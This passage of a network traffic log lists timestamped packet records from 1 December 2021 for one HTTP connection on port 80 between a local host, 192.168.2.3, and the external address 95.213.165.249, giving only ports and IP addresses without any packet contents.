Dec 1, 2021 10:04:53.830374956 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830391884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830409050 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830409050 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.830427885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830440044 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.830445051 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830461979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830478907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830496073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830498934 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.830548048 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.830566883 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830585003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830631971 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830648899 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830658913 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.830667019 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830686092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830701113 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.830702066 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830720901 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.830749989 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.830782890 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890278101 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890300989 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890317917 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890333891 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890351057 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890367031 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890384912 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890430927 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890443087 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890460014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890479088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890502930 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890532017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890543938 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890549898 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890568972 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890584946 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890602112 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890620947 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890633106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890650034 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890662909 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890666008 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890697002 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890698910 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890717030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890726089 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890760899 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890769958 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890779972 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890834093 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890837908 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.890851974 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890867949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.890902996 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.891021013 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891036987 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891055107 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891082048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891107082 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.891149998 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891216993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891231060 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.891235113 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891251087 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891280890 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.891341925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891359091 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891376019 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891391993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891408920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891417980 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.891470909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891472101 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.891489983 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891508102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891522884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891540051 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891556978 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891557932 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.891599894 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.891612053 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.947912931 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.947937965 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.947952986 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.947971106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.947988033 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948004961 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948021889 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948039055 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948057890 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948075056 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948086977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948105097 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948122978 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948132992 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948138952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948157072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948174953 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948193073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948209047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948225021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948241949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948252916 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948260069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948277950 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948292971 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948297024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948313951 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948331118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948331118 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948348999 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948362112 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948395014 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948477030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948549032 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948558092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948576927 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948592901 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948609114 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948626995 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948641062 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948654890 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948659897 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948678017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948693991 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948700905 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948712111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948734999 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948857069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948884964 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948901892 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948918104 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948923111 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948936939 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948954105 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948959112 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.948972940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.948992014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.949007034 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.949009895 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.949024916 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:53.949048042 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:53.949076891 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.005897045 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.005919933 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.005937099 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.005954981 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.005971909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.005990028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006006956 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006025076 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006041050 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006058931 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006067991 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006076097 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006093025 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006109953 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006127119 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006144047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006162882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006170034 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006181955 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006201029 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006217003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006220102 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006234884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006253004 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006253004 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006270885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006284952 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006285906 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006304979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006320000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006326914 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006339073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006349087 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006356955 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006373882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006376982 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006391048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006407022 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006408930 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006426096 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006443024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006459951 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006462097 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006477118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006494999 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006510973 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006513119 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006527901 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006545067 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006546021 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006561041 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006575108 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006578922 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006596088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006606102 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006612062 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006628990 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006643057 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006644964 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006661892 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006678104 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006679058 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006695032 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006710052 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.006711006 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.006742001 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065227032 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065252066 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065269947 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065289974 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065306902 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065315008 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065324068 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065342903 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065356016 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065361023 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065380096 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065397024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065412998 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065431118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065431118 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065448999 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065465927 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065469027 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065485001 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065500975 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065501928 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065520048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065534115 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065536976 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065553904 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065566063 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065572023 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065589905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065599918 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065608025 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065624952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065632105 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065643072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065660000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065666914 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065677881 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065694094 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065711021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065726042 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065726995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065745115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065761089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065772057 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065777063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065793991 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065810919 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065813065 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065826893 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065839052 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065845013 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065861940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065871000 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065877914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065896034 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065900087 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065912962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065931082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065948009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065962076 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.065963984 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065982103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.065999031 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.066014051 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.066015959 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.066034079 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.066044092 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.066049099 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.066082001 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.123538971 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.123568058 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.123739958 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124038935 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124062061 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124082088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124099970 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124104977 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124118090 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124136925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124150038 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124155045 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124172926 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124190092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124207020 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124224901 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124226093 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124243021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124258995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124265909 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124277115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124294043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124301910 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124311924 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124329090 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124330997 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124346018 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124361992 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124371052 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124381065 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124397993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124404907 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124416113 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124433041 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124438047 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124450922 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124468088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124470949 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124486923 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124505043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124521017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124535084 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124538898 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124557018 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124573946 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124581099 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124591112 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124608040 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124619007 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124625921 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124641895 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124658108 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124659061 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124676943 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124691010 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.124692917 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124711990 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.124727964 CET	80	49826	95.213.165.249	192.168.2.3
